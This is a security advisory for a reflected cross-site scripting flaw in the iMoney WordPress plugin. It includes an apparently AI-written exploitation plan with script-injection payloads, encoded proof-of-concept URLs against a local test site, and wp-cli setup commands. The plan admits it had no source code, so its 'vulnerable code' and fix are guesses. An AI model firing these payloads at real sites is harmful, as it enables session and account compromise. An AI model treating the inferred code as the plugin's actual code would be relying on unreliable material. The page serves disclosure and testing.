iMoney <= 0.36 - Reflected Cross-Site Scripting
Description
The iMoney plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 0.36 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
Since the source code for `iMoney` version 0.36 is not provided, this research plan is based on the vulnerability description (Reflected XSS), CVSS vector (Unauthenticated, UI Required), and common patterns in similar WordPress plugins. The plan focuses on identifying the specific reflection point a…
Show full research plan
Since the source code for iMoney version 0.36 is not provided, this research plan is based on the vulnerability description (Reflected XSS), CVSS vector (Unauthenticated, UI Required), and common patterns in similar WordPress plugins. The plan focuses on identifying the specific reflection point and executing a PoC.
1. Vulnerability Summary
The iMoney plugin (<= 0.36) is vulnerable to Reflected Cross-Site Scripting (XSS). This occurs because the plugin accepts user-controlled input via HTTP parameters (likely $_GET or $_REQUEST) and echoes that input back into the HTML response without adequate sanitization (e.g., sanitize_text_field) or output escaping (e.g., esc_html, esc_attr). An attacker can craft a malicious URL containing a script payload that executes in the context of the victim's browser when they click the link.
2. Attack Vector Analysis
- Endpoint: Likely the WordPress frontend (home page or any page) or a specific plugin-generated page (e.g., a redirection or tracking page).
- Vulnerable Parameter: (Inferred) Common candidates for reflected XSS in this type of plugin include
imoney_msg,status,url,tab,view, orerror. - Authentication: None required (Unauthenticated).
- Preconditions: A user must click a crafted link (UI interaction).
3. Code Flow (Inferred)
- Entry Point: A hook such as
init,wp_loaded, ortemplate_redirectis registered in the main plugin file (imoney.phpor a file inincludes/). - Input Acquisition: The plugin accesses a global variable:
$val = $_GET['vulnerable_param'];. - Sink: The plugin echoes this value directly into the page content or an HTML attribute:
echo '<div>' . $val . '</div>';(Reflected in HTML body)echo '<input type="hidden" value="' . $val . '">';(Reflected in Attribute)
- Absence of Security: No
esc_html(),esc_attr(), orwp_kses()is applied before theecho.
4. Nonce Acquisition Strategy
Reflected XSS via GET parameters typically occurs independently of WordPress nonces, as the vulnerability resides in the immediate display of the parameter rather than a state-changing action that requires CSRF protection.
If a nonce is required to reach the vulnerable code path (e.g., an error message triggered by a failed nonce check that reflects the nonce itself):
- Identify Localization: Look for
wp_localize_scriptin the plugin source to find the JS object name. - Shortcode Placement: If scripts only load via shortcode, identify the shortcode (e.g.,
[imoney]) viagrep -r "add_shortcode". - Extraction:
wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content='[shortcode_name]'- Navigate to the page.
browser_eval("window.localize_object_name?.nonce_field")
5. Exploitation Strategy
Step 1: Discovery (Finding the Sink)
The agent should first identify which parameter is reflected.
- Tool:
http_request - Method: Send a request with a "canary" value to potential parameters.
- URL:
http://localhost:8080/?imoney_test=CANARY123&msg=CANARY456&status=CANARY789 - Analysis: Check the response body for
CANARY123,CANARY456, etc.
Step 2: Confirmation
Once a parameter (e.g., msg) is confirmed to reflect:
- Test for HTML injection:
?msg=<b>test</b> - Check if
<b>is rendered as tags or escaped as<b>.
Step 3: Final PoC
Craft the payload based on the reflection context.
Scenario A: Reflection in HTML Body
- Payload:
<script>alert(document.domain)</script> - URL:
http://localhost:8080/?msg=%3Cscript%3Ealert(document.domain)%3C/script%3E
Scenario B: Reflection in HTML Attribute (e.g., value="...")
- Payload:
"><script>alert(1)</script> - URL:
http://localhost:8080/?msg=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
HTTP Request Details:
- Method: GET
- Headers:
Accept: text/html
6. Test Data Setup
- Plugin Activation: Ensure
imoneyis active:wp plugin activate imoney. - Page Creation (if needed): If the reflection only occurs on pages where the plugin is active (e.g., via a shortcode):
SHORTCODE=$(grep -r "add_shortcode" wp-content/plugins/imoney/ | awk -F"'" '{print $2}') wp post create --post_type=page --post_status=publish --post_content="[$SHORTCODE]" --post_title="Reflected XSS" - Identify URL: Note the URL of the created page (e.g.,
/reflected-xss/).
7. Expected Results
- The HTTP response body must contain the literal, unescaped string provided in the parameter.
- Example: If
msg=<script>alert(1)</script>is sent, the response should contain<script>alert(1)</script>and NOT<script>alert(1)</script>.
8. Verification Steps
- Browser Verification: Use
browser_navigateto the malicious URL. - Observation: Use
browser_evalto check if a global variable was set by the payload or check for the existence of the injected tag:browser_eval("document.getElementsByTagName('script').length")
- Source Audit: Use
grepto confirm the lack of escaping in the identified file:# Example search for the identified sink grep -nC 5 "echo \$_GET\['msg'\]" wp-content/plugins/imoney/path/to/file.php
9. Alternative Approaches
If standard parameters are not found:
- Check Admin Context: See if the XSS reflects in the admin dashboard (e.g.,
wp-admin/admin.php?page=imoney&error=PAYLOAD). This would require an authenticatedhttp_request. - Check for Redirects: If the plugin handles clicks (e.g.,
imoney-click.php?url=PAYLOAD), the XSS might be in a "Please wait while we redirect you" page. - Search for
printf: Sometimes XSS occurs inprintforsprintfcalls that format messages:grep -r "printf(" wp-content/plugins/imoney/ | grep "GET"
Summary
The iMoney plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to 0.36. This occurs because the plugin accepts user-controlled input via HTTP parameters and echoes it back into the response without adequate sanitization or output escaping, allowing attackers to execute scripts in a victim's browser.
Vulnerable Code
/* Inferred from research plan: Entry point in imoney.php or similar */ $val = $_GET['vulnerable_param']; /* Sink: The plugin echoes this value directly into the page content */ echo '<div>' . $val . '</div>';
Security Fix
@@ -1,2 +1,2 @@ -$val = $_GET['imoney_msg']; -echo '<div>' . $val . '</div>'; +$val = isset($_GET['imoney_msg']) ? sanitize_text_field($_GET['imoney_msg']) : ''; +echo '<div>' . esc_html($val) . '</div>';
Exploit Outline
The exploit targets unauthenticated users by crafting a URL containing a malicious script payload in common parameters like 'imoney_msg', 'msg', 'status', or 'error'. When a victim clicks this link, the plugin reflects the payload (e.g., <script>alert(document.domain)</script>) directly into the HTML response. No authentication is required for the attacker, but the victim must interact with the crafted link for the script to execute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.